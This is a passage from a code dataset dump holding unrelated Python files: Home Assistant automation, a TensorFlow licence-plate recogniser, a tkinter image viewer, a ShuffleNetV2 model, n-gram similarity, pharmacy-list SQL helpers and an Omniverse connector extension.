filtering = {\n 'hostname': ALL,\n 'event': ALL,\n 'timestamp': ALL,\n }\n","sub_path":"loggins/ui/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"84735082","text":"# Default location for this file is ~/.homeassistant/apps/switch_reset.py\r\nimport appdaemon.appapi as appapi\r\nimport shelve\r\nimport time\r\nimport pdb\r\n\r\n#\r\n# App to reset input_boolean, input_select, input_slider, device_tracker to previous values after HA restart\r\n#\r\n# Args:\r\n#\r\n#delay - amount of time after restart to set the switches\r\n# \r\n#\r\n# Release Notes\r\n#\r\n# Version 1.0:\r\n# Initial Version\r\n\r\nclass SwitchReset(appapi.AppDaemon):\r\n\r\n def initialize(self):\r\n \r\n self.listen_event(self.ha_event, \"ha_started\")\r\n self.listen_event(self.appd_event, \"appd_started\")\r\n self.listen_state(self.state_change, \"input_boolean\")\r\n self.listen_state(self.state_change, \"input_select\")\r\n self.listen_state(self.state_change, \"input_slider\")\r\n if \"additional_entities\" in self.args:\r\n self.additional_entities = [x.strip() for x in self.args[\"additional_entities\"].split(\",\")]\r\n\r\n for entity in self.additional_entities:\r\n self.listen_state(self.state_change, entity)\r\n\r\n def ha_event(self, event_name, data, kwargs):\r\n self.log_notify(\"Home Assistant restart detected\")\r\n self.run_in(self.set_switches, self.args[\"delay\"])\r\n \r\n def appd_event(self, event_name, data, kwargs):\r\n self.log_notify(\"AppDaemon restart detected\")\r\n self.run_in(self.set_switches, self.args[\"delay\"])\r\n\r\n def state_change(self, entity, attribute, old, new, kwargs):\r\n dev_db = shelve.open(self.args[\"file\"])\r\n type, id = entity.split(\".\")\r\n\r\n if type == \"climate\":\r\n climate_dict = { 'temperature': self.get_state(entity, 'temperature'), 'operation_mode': self.get_state(entity, 'operation_mode') }\r\n if dev_db[entity] != climate_dict:\r\n dev_db[entity] = climate_dict\r\n self.log_notify(\"State change: {} to {}\".format(entity, climate_dict))\r\n else:\r\n dev_db[entity] = new\r\n self.log_notify(\"State change: {} to {}\".format(entity, new))\r\n\r\n dev_db.close()\r\n\r\n def set_switches(self, kwargs):\r\n dev_db = shelve.open(self.args[\"file\"])\r\n self.log_notify(\"Setting switches\")\r\n # Find out what devices are avaiable.\r\n # If we don't know about it initialize, if we do set the switch appropriately\r\n state = self.get_state()\r\n for entity in state:\r\n type, id = entity.split(\".\")\r\n if type == \"input_boolean\" or type == \"input_select\" or type == \"input_slider\" or (entity in self.additional_entities):\r\n if entity in dev_db:\r\n if type != \"climate\":\r\n if dev_db[entity] != state[entity][\"state\"]:\r\n self.log_notify(\"Setting {} to {} (was {})\".format(entity, dev_db[entity], state[entity][\"state\"]))\r\n new_state = self.set_state(entity, state = dev_db[entity])\r\n else:\r\n temp = self.get_state(entity, \"temperature\")\r\n mode = self.get_state(entity, \"operation_mode\")\r\n\r\n if dev_db[entity][\"temperature\"] != temp:\r\n self.log_notify(\"Setting {} to {} (was {})\".format(entity, dev_db[entity], temp))\r\n new_state = self.call_service(\"climate/set_temperature\", temperature = dev_db[entity][\"temperature\"], entity_id = entity)\r\n if dev_db[entity][\"operation_mode\"] != mode:\r\n self.log_notify(\"Setting {} to {} (was {})\".format(entity, dev_db[entity], temp))\r\n new_state = self.call_service(\"climate/set_operation_mode\", operation_mode = dev_db[entity][\"operation_mode\"], entity_id = entity)\r\n else:\r\n self.log_notify(\"Adding {}, setting value to current state ({})\".format(entity, state[entity][\"state\"]))\r\n if type != \"climate\":\r\n dev_db[entity] = state[entity][\"state\"]\r\n else:\r\n dev_db[entity] = self.get_state(entity, \"temperature\")\r\n\r\n dev_db.close()\r\n \r\n def log_notify(self, message, level = \"INFO\"):\r\n if \"log\" in self.args:\r\n self.log(message)\r\n if \"notify\" in self.args:\r\n self.notify(message, \"ios\", name=\"ios\")","sub_path":"appdaemon/apps/switch_reset.py","file_name":"switch_reset.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"227976291","text":"# -*- coding: utf-8 -*-\n\"\"\"\nauthor: 周行健\ncreate time: 2020/7/13\nupdate time: 2020/7/19\n\"\"\"\n\n\nimport numpy as np\nimport tensorflow.compat.v1 as tf\ntf.disable_v2_behavior()\n#pip install pillow\nfrom PIL import Image\nimport os\n\n\n\n\n\n# 定义卷积函数\ndef conv_layer(inputs, W, b, conv_strides, kernel_size, pool_strides, padding):\n L1_conv = tf.nn.conv2d(inputs, W, strides=conv_strides, padding=padding)\n L1_relu = tf.nn.relu(L1_conv + b)\n return tf.nn.max_pool(L1_relu, ksize=kernel_size, strides=pool_strides, padding='SAME')\n\n# 定义全连接层函数\ndef full_connect(inputs, W, b):\n return tf.nn.relu(tf.matmul(inputs, W) + b)\n\ndef predict():\n#if __name__ =='__main__' and sys.argv[1]=='predict':\n SIZE = 1280\n WIDTH = 32\n HEIGHT = 40\n NUM_CLASSES = 34\n\n SAVER_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'License_plate/train-saver/digits/')\n\n LETTERS_DIGITS = (\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"J\",\"K\",\"L\",\"M\",\"N\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\")\n\n result_digits = []\n\n # 定义输入节点,对应于图片像素值矩阵集合和图片标签(即所代表的数字)\n #tf.placeholder为tf1的API\n x = tf.placeholder(tf.float32, shape=[None, SIZE])\n y_ = tf.placeholder(tf.float32, shape=[None, NUM_CLASSES])\n\n x_image = tf.reshape(x, [-1, WIDTH, HEIGHT, 1])\n license_num = \"\"\n\n saver = tf.train.import_meta_graph(\"%smodel.ckpt.meta\"%(SAVER_DIR))\n with tf.Session() as sess:\n model_file=tf.train.latest_checkpoint(SAVER_DIR)\n sess.run(tf.global_variables_initializer())\n sess.run(tf.local_variables_initializer())\n saver.restore(sess, model_file)\n\n # 第一个卷积层\n W_conv1 = sess.graph.get_tensor_by_name(\"W_conv1:0\")\n b_conv1 = sess.graph.get_tensor_by_name(\"b_conv1:0\")\n conv_strides = [1, 1, 1, 1]\n kernel_size = [1, 2, 2, 1]\n pool_strides = [1, 2, 2, 1]\n L1_pool = conv_layer(x_image, W_conv1, b_conv1, conv_strides, kernel_size, pool_strides, padding='SAME')\n\n # 第二个卷积层\n W_conv2 = sess.graph.get_tensor_by_name(\"W_conv2:0\")\n b_conv2 = sess.graph.get_tensor_by_name(\"b_conv2:0\")\n conv_strides = [1, 1, 1, 1]\n kernel_size = [1, 1, 1, 1]\n pool_strides = [1, 1, 1, 1]\n L2_pool = conv_layer(L1_pool, W_conv2, b_conv2, conv_strides, kernel_size, pool_strides, padding='SAME')\n\n\n # 全连接层\n W_fc1 = sess.graph.get_tensor_by_name(\"W_fc1:0\")\n b_fc1 = sess.graph.get_tensor_by_name(\"b_fc1:0\")\n h_pool2_flat = tf.reshape(L2_pool, [-1, 16 * 20*32])\n h_fc1 = full_connect(h_pool2_flat, W_fc1, b_fc1)\n\n\n # dropout\n keep_prob = tf.placeholder(tf.float32)\n\n h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\n\n # readout层\n W_fc2 = sess.graph.get_tensor_by_name(\"W_fc2:0\")\n b_fc2 = sess.graph.get_tensor_by_name(\"b_fc2:0\")\n\n # 定义优化器和训练op\n conv = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)\n\n for n in range(3,8):\n cache_path = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))),\n 'License_plate/cache/')\n\n path = cache_path +str(n) + '.bmp'\n img = Image.open(path)\n img = img.convert(\"1\")\n width = img.size[0]\n height = img.size[1]\n\n img_data = [[0]*SIZE for i in range(1)]\n for h in range(0, height):\n for w in range(0, width):\n if img.getpixel((w, h)) < 190:\n img_data[0][w+h*width] = 1\n else:\n img_data[0][w+h*width] = 0\n\n result = sess.run(conv, feed_dict = {x: np.array(img_data), keep_prob: 1.0})\n\n max1 = 0\n max2 = 0\n max3 = 0\n max1_index = 0\n max2_index = 0\n max3_index = 0\n for j in range(NUM_CLASSES):\n if result[0][j] > max1:\n max1 = result[0][j]\n max1_index = j\n continue\n if (result[0][j]>max2) and (result[0][j]<=max1):\n max2 = result[0][j]\n max2_index = j\n continue\n if (result[0][j]>max3) and (result[0][j]<=max2):\n max3 = result[0][j]\n max3_index = j\n continue\n\n license_num = license_num + LETTERS_DIGITS[max1_index]\n #print (\"概率: [%s %0.2f%%] [%s %0.2f%%] [%s %0.2f%%]\" % (LETTERS_DIGITS[max1_index],max1*100, LETTERS_DIGITS[max2_index],max2*100, LETTERS_DIGITS[max3_index],max3*100))\n results = LETTERS_DIGITS[max1_index] + '\\t' + str(max1*100) + '%'\n #print(results)\n result_digits.append(results)\n #print(result_digits)\n #print(result_digits[0])\n #print (\"车牌编号是: 【%s】\" % license_num)\n return result_digits\n\n\n#predict()","sub_path":"rear/VehicleIdentificationSystem/VehicleIdentificationSystem/license/License_plate/predict_digits.py","file_name":"predict_digits.py","file_ext":"py","file_size_in_byte":5113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"466899612","text":"import tkinter as tk\n\nclass ShowImage(tk.Toplevel):\n def __init__(self, parent=None, x0=0, y0=0):\n tk.Toplevel.__init__(self, parent)\n self.title('미리보기')\n self.wm_attributes('-topmost', True)\n\n self.label = tk.Label(self)\n self.label.pack(fill='both', expand=True)\n\n self.geometry('{}x{}+{}+{}'.format(310, 310, x0, y0))\n\n self.imgNum =0\n self.maxImgNum=0\n self.parent =parent\n\n def setImage(self, image):\n self.label.configure(image= image)\n self.label.image= image\n\n def choice(self, imageControl):\n width = imageControl.fullWidth\n height = int(imageControl.fullHeight / imageControl.imgNum)\n\n self.maxImgNum = imageControl.imgNum -1\n\n self.geometry('{}x{}+{}+{}'.format(width, height, 0, 0))\n self.frame1= tk.Frame(self)\n self.btn_next = tk.Button(self.frame1, text='다음', command=lambda:self.command_next())\n self.btn_prev = tk.Button(self.frame1, text='이전', command=lambda:self.command_prev())\n self.btn_del = tk.Button(self.frame1, text='삭제', command=lambda:self.command_del())\n self.btn_end = tk.Button(self.frame1, text='완료', command=lambda:self.command_end())\n\n self.btn_next.grid(row=0, column=0, padx=5)\n self.btn_prev.grid(row=0, column=1, padx=5)\n self.btn_del.grid(row=0, column=2, padx=5)\n self.btn_end.grid(row=0, column=3, padx=5)\n\n self.label.pack_forget()\n\n self.frame1.pack()\n self.label.pack()\n\n self.imgCtrl = imageControl\n\n self.setImage(self.imgCtrl.getImage(0))\n\n def command_next(self):\n self.imgNum +=1\n if self.imgNum > self.maxImgNum:\n self.imgNum = self.maxImgNum\n self.setImage(self.imgCtrl.getImage(self.imgNum))\n \n def command_prev(self):\n self.imgNum -= 1\n if self.imgNum<0:\n self.imgNum = 0\n self.setImage(self.imgCtrl.getImage(self.imgNum))\n\n def command_del(self):\n del self.imgCtrl.result[self.imgNum]\n self.maxImgNum -= 1\n self.imgNum = min(self.maxImgNum, self.imgNum)\n self.setImage(self.imgCtrl.getImage(self.imgNum))\n \n def command_end(self):\n self.parent.command_end()\n self.parent.threadStopped = False","sub_path":"UI/showImage.py","file_name":"showImage.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"321136258","text":"\"\"\"\n ShuffleNet V2 for ImageNet-1K, implemented in TensorFlow.\n Original paper: 'ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design,'\n https://arxiv.org/abs/1807.11164.\n\"\"\"\n\n__all__ = ['ShuffleNetV2', 'shufflenetv2_wd2', 'shufflenetv2_w1', 'shufflenetv2_w3d2', 'shufflenetv2_w2']\n\nimport os\nimport tensorflow as tf\nimport tensorflow.keras.layers as nn\nfrom .common import conv1x1, depthwise_conv3x3, conv1x1_block, conv3x3_block, ChannelShuffle, SEBlock,\\\n BatchNorm, MaxPool2d, SimpleSequential, get_channel_axis, flatten\n\n\nclass ShuffleUnit(nn.Layer):\n \"\"\"\n ShuffleNetV2 unit.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n downsample : bool\n Whether do downsample.\n use_se : bool\n Whether to use SE block.\n use_residual : bool\n Whether to use residual connection.\n data_format : str, default 'channels_last'\n The ordering of the dimensions in tensors.\n \"\"\"\n def __init__(self,\n in_channels,\n out_channels,\n downsample,\n use_se,\n use_residual,\n data_format=\"channels_last\",\n **kwargs):\n super(ShuffleUnit, self).__init__(**kwargs)\n self.data_format = data_format\n self.downsample = downsample\n self.use_se = use_se\n self.use_residual = use_residual\n mid_channels = out_channels // 2\n\n self.compress_conv1 = conv1x1(\n in_channels=(in_channels if self.downsample else mid_channels),\n out_channels=mid_channels,\n data_format=data_format,\n name=\"compress_conv1\")\n self.compress_bn1 = BatchNorm(\n # in_channels=mid_channels,\n data_format=data_format,\n name=\"compress_bn1\")\n self.dw_conv2 = depthwise_conv3x3(\n channels=mid_channels,\n strides=(2 if self.downsample else 1),\n data_format=data_format,\n name=\"dw_conv2\")\n self.dw_bn2 = BatchNorm(\n # in_channels=mid_channels,\n data_format=data_format,\n name=\"dw_bn2\")\n self.expand_conv3 = conv1x1(\n in_channels=mid_channels,\n out_channels=mid_channels,\n data_format=data_format,\n name=\"expand_conv3\")\n self.expand_bn3 = BatchNorm(\n # in_channels=mid_channels,\n data_format=data_format,\n name=\"expand_bn3\")\n if self.use_se:\n self.se = SEBlock(\n channels=mid_channels,\n data_format=data_format,\n name=\"se\")\n if downsample:\n self.dw_conv4 = depthwise_conv3x3(\n channels=in_channels,\n strides=2,\n data_format=data_format,\n name=\"dw_conv4\")\n self.dw_bn4 = BatchNorm(\n # in_channels=in_channels,\n data_format=data_format,\n name=\"dw_bn4\")\n self.expand_conv5 = conv1x1(\n in_channels=in_channels,\n out_channels=mid_channels,\n data_format=data_format,\n name=\"expand_conv5\")\n self.expand_bn5 = BatchNorm(\n # in_channels=mid_channels,\n data_format=data_format,\n name=\"expand_bn5\")\n\n self.activ = nn.ReLU()\n self.c_shuffle = ChannelShuffle(\n channels=out_channels,\n groups=2,\n data_format=data_format,\n name=\"c_shuffle\")\n\n def call(self, x, training=None):\n if self.downsample:\n y1 = self.dw_conv4(x)\n y1 = self.dw_bn4(y1, training=training)\n y1 = self.expand_conv5(y1)\n y1 = self.expand_bn5(y1, training=training)\n y1 = self.activ(y1)\n x2 = x\n else:\n y1, x2 = tf.split(x, num_or_size_splits=2, axis=get_channel_axis(self.data_format))\n y2 = self.compress_conv1(x2)\n y2 = self.compress_bn1(y2, training=training)\n y2 = self.activ(y2)\n y2 = self.dw_conv2(y2)\n y2 = self.dw_bn2(y2, training=training)\n y2 = self.expand_conv3(y2)\n y2 = self.expand_bn3(y2, training=training)\n y2 = self.activ(y2)\n if self.use_se:\n y2 = self.se(y2)\n if self.use_residual and not self.downsample:\n y2 = y2 + x2\n x = tf.concat([y1, y2], axis=get_channel_axis(self.data_format))\n x = self.c_shuffle(x)\n return x\n\n\nclass ShuffleInitBlock(nn.Layer):\n \"\"\"\n ShuffleNetV2 specific initial block.\n\n Parameters:\n ----------\n in_channels : int\n Number of input channels.\n out_channels : int\n Number of output channels.\n data_format : str, default 'channels_last'\n The ordering of the dimensions in tensors.\n \"\"\"\n def __init__(self,\n in_channels,\n out_channels,\n data_format=\"channels_last\",\n **kwargs):\n super(ShuffleInitBlock, self).__init__(**kwargs)\n self.conv = conv3x3_block(\n in_channels=in_channels,\n out_channels=out_channels,\n strides=2,\n data_format=data_format,\n name=\"conv\")\n self.pool = MaxPool2d(\n pool_size=3,\n strides=2,\n padding=0,\n ceil_mode=True,\n data_format=data_format,\n name=\"pool\")\n\n def call(self, x, training=None):\n x = self.conv(x, training=training)\n x = self.pool(x)\n return x\n\n\nclass ShuffleNetV2(tf.keras.Model):\n \"\"\"\n ShuffleNetV2 model from 'ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design,'\n https://arxiv.org/abs/1807.11164.\n\n Parameters:\n ----------\n channels : list of list of int\n Number of output channels for each unit.\n init_block_channels : int\n Number of output channels for the initial unit.\n final_block_channels : int\n Number of output channels for the final block of the feature extractor.\n use_se : bool, default False\n Whether to use SE block.\n use_residual : bool, default False\n Whether to use residual connections.\n in_channels : int, default 3\n Number of input channels.\n in_size : tuple of two ints, default (224, 224)\n Spatial size of the expected input image.\n classes : int, default 1000\n Number of classification classes.\n data_format : str, default 'channels_last'\n The ordering of the dimensions in tensors.\n \"\"\"\n def __init__(self,\n channels,\n init_block_channels,\n final_block_channels,\n use_se=False,\n use_residual=False,\n in_channels=3,\n in_size=(224, 224),\n classes=1000,\n data_format=\"channels_last\",\n **kwargs):\n super(ShuffleNetV2, self).__init__(**kwargs)\n self.in_size = in_size\n self.classes = classes\n self.data_format = data_format\n\n self.features = SimpleSequential(name=\"features\")\n self.features.add(ShuffleInitBlock(\n in_channels=in_channels,\n out_channels=init_block_channels,\n data_format=data_format,\n name=\"init_block\"))\n in_channels = init_block_channels\n for i, channels_per_stage in enumerate(channels):\n stage = SimpleSequential(name=\"stage{}\".format(i + 1))\n for j, out_channels in enumerate(channels_per_stage):\n downsample = (j == 0)\n stage.add(ShuffleUnit(\n in_channels=in_channels,\n out_channels=out_channels,\n downsample=downsample,\n use_se=use_se,\n use_residual=use_residual,\n data_format=data_format,\n name=\"unit{}\".format(j + 1)))\n in_channels = out_channels\n self.features.add(stage)\n self.features.add(conv1x1_block(\n in_channels=in_channels,\n out_channels=final_block_channels,\n data_format=data_format,\n name=\"final_block\"))\n in_channels = final_block_channels\n self.features.add(nn.AveragePooling2D(\n pool_size=7,\n strides=1,\n data_format=data_format,\n name=\"final_pool\"))\n\n self.output1 = nn.Dense(\n units=classes,\n input_dim=in_channels,\n name=\"output1\")\n\n def call(self, x, training=None):\n x = self.features(x, training=training)\n x = flatten(x, self.data_format)\n x = self.output1(x)\n return x\n\n\ndef get_shufflenetv2(width_scale,\n model_name=None,\n pretrained=False,\n root=os.path.join(\"~\", \".tensorflow\", \"models\"),\n **kwargs):\n \"\"\"\n Create ShuffleNetV2 model with specific parameters.\n\n Parameters:\n ----------\n width_scale : float\n Scale factor for width of layers.\n model_name : str or None, default None\n Model name for loading pretrained model.\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.tensorflow/models'\n Location for keeping the model parameters.\n \"\"\"\n\n init_block_channels = 24\n final_block_channels = 1024\n layers = [4, 8, 4]\n channels_per_layers = [116, 232, 464]\n\n channels = [[ci] * li for (ci, li) in zip(channels_per_layers, layers)]\n\n if width_scale != 1.0:\n channels = [[int(cij * width_scale) for cij in ci] for ci in channels]\n if width_scale > 1.5:\n final_block_channels = int(final_block_channels * width_scale)\n\n net = ShuffleNetV2(\n channels=channels,\n init_block_channels=init_block_channels,\n final_block_channels=final_block_channels,\n **kwargs)\n\n if pretrained:\n if (model_name is None) or (not model_name):\n raise ValueError(\"Parameter `model_name` should be properly initialized for loading pretrained model.\")\n from .model_store import get_model_file\n in_channels = kwargs[\"in_channels\"] if (\"in_channels\" in kwargs) else 3\n input_shape = (1,) + (in_channels,) + net.in_size if net.data_format == \"channels_first\" else\\\n (1,) + net.in_size + (in_channels,)\n net.build(input_shape=input_shape)\n net.load_weights(\n filepath=get_model_file(\n model_name=model_name,\n local_model_store_dir_path=root))\n\n return net\n\n\ndef shufflenetv2_wd2(**kwargs):\n \"\"\"\n ShuffleNetV2 0.5x model from 'ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design,'\n https://arxiv.org/abs/1807.11164.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.tensorflow/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_shufflenetv2(width_scale=(12.0 / 29.0), model_name=\"shufflenetv2_wd2\", **kwargs)\n\n\ndef shufflenetv2_w1(**kwargs):\n \"\"\"\n ShuffleNetV2 1x model from 'ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design,'\n https://arxiv.org/abs/1807.11164.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.tensorflow/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_shufflenetv2(width_scale=1.0, model_name=\"shufflenetv2_w1\", **kwargs)\n\n\ndef shufflenetv2_w3d2(**kwargs):\n \"\"\"\n ShuffleNetV2 1.5x model from 'ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design,'\n https://arxiv.org/abs/1807.11164.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.tensorflow/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_shufflenetv2(width_scale=(44.0 / 29.0), model_name=\"shufflenetv2_w3d2\", **kwargs)\n\n\ndef shufflenetv2_w2(**kwargs):\n \"\"\"\n ShuffleNetV2 2x model from 'ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design,'\n https://arxiv.org/abs/1807.11164.\n\n Parameters:\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.tensorflow/models'\n Location for keeping the model parameters.\n \"\"\"\n return get_shufflenetv2(width_scale=(61.0 / 29.0), model_name=\"shufflenetv2_w2\", **kwargs)\n\n\ndef _test():\n import numpy as np\n import tensorflow.keras.backend as K\n\n pretrained = False\n\n models = [\n shufflenetv2_wd2,\n shufflenetv2_w1,\n shufflenetv2_w3d2,\n shufflenetv2_w2,\n ]\n\n for model in models:\n\n net = model(pretrained=pretrained)\n\n batch = 14\n x = tf.random.normal((batch, 224, 224, 3))\n y = net(x)\n assert (tuple(y.shape.as_list()) == (batch, 1000))\n\n weight_count = sum([np.prod(K.get_value(w).shape) for w in net.trainable_weights])\n print(\"m={}, {}\".format(model.__name__, weight_count))\n assert (model != shufflenetv2_wd2 or weight_count == 1366792)\n assert (model != shufflenetv2_w1 or weight_count == 2278604)\n assert (model != shufflenetv2_w3d2 or weight_count == 4406098)\n assert (model != shufflenetv2_w2 or weight_count == 7601686)\n\n\nif __name__ == \"__main__\":\n _test()\n","sub_path":"tensorflow2/tf2cv/models/shufflenetv2.py","file_name":"shufflenetv2.py","file_ext":"py","file_size_in_byte":13783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"447105832","text":"import re\n\n\nclass Sequencer(object):\n \n def __init__(self):\n self.next_id = 1\n self.data = dict()\n \n def id(self, x):\n existing_id = self.data.get(x, None)\n\n if existing_id:\n return existing_id\n \n self.data[x] = self.next_id\n self.next_id += 1\n \n return self.next_id - 1\n\n\n\nclass NGramSpace(object):\n \n def __init__(self, n):\n self.n = n\n self.ngrams = Sequencer()\n \n def parse(self, text):\n normalized_text = re.sub('\\W', ' ', text.lower())\n split_text = normalized_text.split()\n \n ids = set()\n \n for i in range(0, len(split_text) + 1 - self.n):\n ngram = \" \".join(split_text[i:i+self.n])\n ids.add(self.ngrams.id(ngram))\n \n sorted_ids = list(ids)\n sorted_ids.sort()\n \n return sorted_ids\n \n\ndef overlap(x, y):\n i = 0\n j = 0\n \n c = 0\n \n len_x = len(x)\n len_y = len(y)\n \n while i < len_x and j < len_y:\n if x[i] > y[j]:\n j += 1\n elif x[i] < y[j]:\n i += 1\n else: # x[i] == y[j]\n c += 1\n i += 1\n j += 1 \n \n return c\n \n\ndef jaccard(x, y):\n intersection_size = overlap(x, y)\n union_size = len(x) + len(y) - intersection_size\n \n return float(intersection_size) / union_size if union_size != 0 else 0\n\n","sub_path":"duplicates/ngrams.py","file_name":"ngrams.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"318127022","text":"\n# Возвращает список аптек\ndef get_apt_list(form,manager_id):\n manager=form.db.get(table='manager',where='id=%s',values=[manager_id],onerow=1)\n if manager['type']==3:\n r=form.db.query(\n query='''\n SELECT\n wt.*, 0 more, concat(m.name_f,' ',m.name_i,' ',m.name_o) ma_fio, m.email ma_email,\n m.phone ma_phone\n FROM\n ur_lico_manager ulm\n join apteka wt ON wt.ur_lico_id=ulm.ur_lico_id\n left join manager m ON wt.anna_manager_id=m.id\n WHERE\n wt.manager_id=%s\n ''',\n values=[manager_id],\n onerow=1,\n errors=form.errors\n )\n if(r): return [r]\n return []\n \n else:\n return form.db.query(\n query=\"\"\"\n SELECT\n wt.*, 0 more, concat(m.name_f,' ',m.name_i,' ',m.name_o) ma_fio, m.email ma_email,\n m.phone ma_phone\n FROM\n ur_lico_manager ulm\n join apteka wt ON wt.ur_lico_id=ulm.ur_lico_id\n left join manager m ON wt.anna_manager_id=m.id\n WHERE\n ulm.manager_id=%s\n\n \"\"\",\n errors=form.errors,\n values=[manager_id]\n )\n\ndef get_apt_list_ids(form,manager_id=0):\n if not manager_id:\n manager_id=form.manager['id']\n res_lst=[]\n lst=[]\n \n\n lst=get_apt_list(form,manager_id)\n for a in lst:\n \n res_lst.append(str(a['id']))\n \n\n \n\n return res_lst\n\ndef get_apt_managers_ids(form,manager_id):\n ids=get_apt_list_ids(form,manager_id)\n rez=form.db.query(\n query=f'''\n select\n manager_id \n from\n apteka\n where id in ({\",\".join(ids)}) and manager_id is not null group by manager_id \n ''',\n #debug=1,\n massive=1\n )\n if len(rez)==0:\n rez.append('0')\n return rez\n\ndef apt_list_id_for_apt(form,manager_id):\n rez=[]\n apteka_id=form.db.query(\n query='select id from apteka where manager_id=%s',\n values=[manager_id],\n onevalue=1\n )\n if apteka_id:\n rez.append(str(apteka_id))\n return rez\n\n\ndef get_all_ids_for_aptcomp(form,apteka_id):\n # получит все id-шники аптек в рамках этого же юрлица\n res=form.db.query(\n query='''\n SELECT\n a2.id\n from\n apteka a1\n join apteka a2 ON a2.ur_lico_id=a1.ur_lico_id\n WHERE a1.id=%s\n ''',\n massive=1,\n values=[apteka_id]\n )\n\n res2=[]\n for r in res:\n res2.append(str(r))\n #form.pre(res2)\n return res2\n","sub_path":"backend/lib/anna/get_apt_list.py","file_name":"get_apt_list.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"425580071","text":"import omni.ext\nfrom omni.services.transport.client.https_async import consumer\nimport omni.ui as ui\nfrom pathlib import Path\nimport carb.settings\nimport os \nimport asyncio\nimport webbrowser\nfrom enum import IntEnum\nimport omni.services.client as _client\nimport omni.services.transport.client.http_async\n\nfrom pxr import Usd, Sdf, Gf, UsdGeom\nfrom synctwin.item.connector.item_engineering_connector import ItemEngineeringConnector\nICON_PATH = Path(__file__).parent.parent.parent.parent.joinpath(\"data\")\n\n# Any class derived from `omni.ext.IExt` in top level module (defined in `python.modules` of `extension.toml`) will be\n# instantiated when extension gets enabled and `on_startup(ext_id)` will be called. Later when extension gets disabled\n# on_shutdown() is called.\nclass LevelOfDetail(IntEnum):\n LOW = 0,\n MEDIUM = 1,\n HIGH = 2 \n\nclass ItemConnectorExtension(omni.ext.IExt):\n # ext_id is current extension id. It can be used with extension manager to query additional information, like where\n # this extension is located on filesystem.\n\n def project_url(self, project_id): \n return f\"{self._itemtool_url}/{project_id}\"\n \n def on_startup(self, ext_id):\n \n self._usd_context = omni.usd.get_context()\n self._selection = self._usd_context.get_selection()\n self._events = self._usd_context.get_stage_event_stream()\n self._stage_event_sub = self._events.create_subscription_to_pop(\n self._on_stage_event, name=\"on stage event synctwin item connector\"\n ) \n self._item = ItemEngineeringConnector() \n self._settings = carb.settings.get_settings()\n self._projects_path = self._settings.get(\"projects_path\") \n self._parts_path = self._settings.get(\"parts_path\")\n self._itemtool_url= self._settings.get(\"itemtool_url\")\n self._project_id = \"1d05717eb87cec4287ed241312306c5f4\" \n\n print(\"[synctwin.item.connector] synctwin item startup\")\n\n self._window = ui.Window(\"synctwin item connector\", width=300, height=200)\n\n with self._window.frame:\n with ui.VStack():\n \n with ui.HStack(): \n \n omni.ui.Image(f'{ICON_PATH}/item_logo.png', width=80)\n with ui.VStack():\n ui.Spacer() \n ui.Button(\"...\", width=25, height=25, tooltip=\"open engineering tool in browser\", clicked_fn=lambda: on_browser_click())\n ui.Spacer()\n ui.Spacer()\n ui.Label(\"Project-ID\")\n project_field = ui.StringField(height=30)\n project_field.model.set_value(self._project_id)\n project_field.model.add_end_edit_fn(lambda new_value: on_project_edit(new_value))\n ui.Button(\"update\", height=40, clicked_fn=lambda: on_update_click())\n def on_project_edit(new_value):\n print(\"new value:\", new_value.as_string)\n self._project_id = new_value.as_string\n def on_update_click():\n self._item.import_project(self._project_id)\n def on_browser_click():\n self.open_browser(self.project_url(self._project_id)) \n ui.Spacer()\n \n \n def on_shutdown(self):\n print(\"[synctwin.item.connector] synctwin item shutdown\")\n\n def _on_stage_event(self, event):\n \"\"\"Called with subscription to pop\"\"\"\n\n if event.type == int(omni.usd.StageEventType.SELECTION_CHANGED):\n self._on_selection_changed()\n\n def _on_selection_changed(self):\n \"\"\"Called when the user changes the selection\"\"\" \n selection = self._selection.get_selected_prim_paths()\n stage = self._usd_context.get_stage()\n print(\"selection\", selection )\n print(\"stage\", stage)\n if selection and stage:\n prim = stage.GetPrimAtPath(selection[0])\n properties = prim.GetPropertyNames()\n #print(properties)\n print(prim.GetCustomData()) \n\n def open_browser(self, url): \n 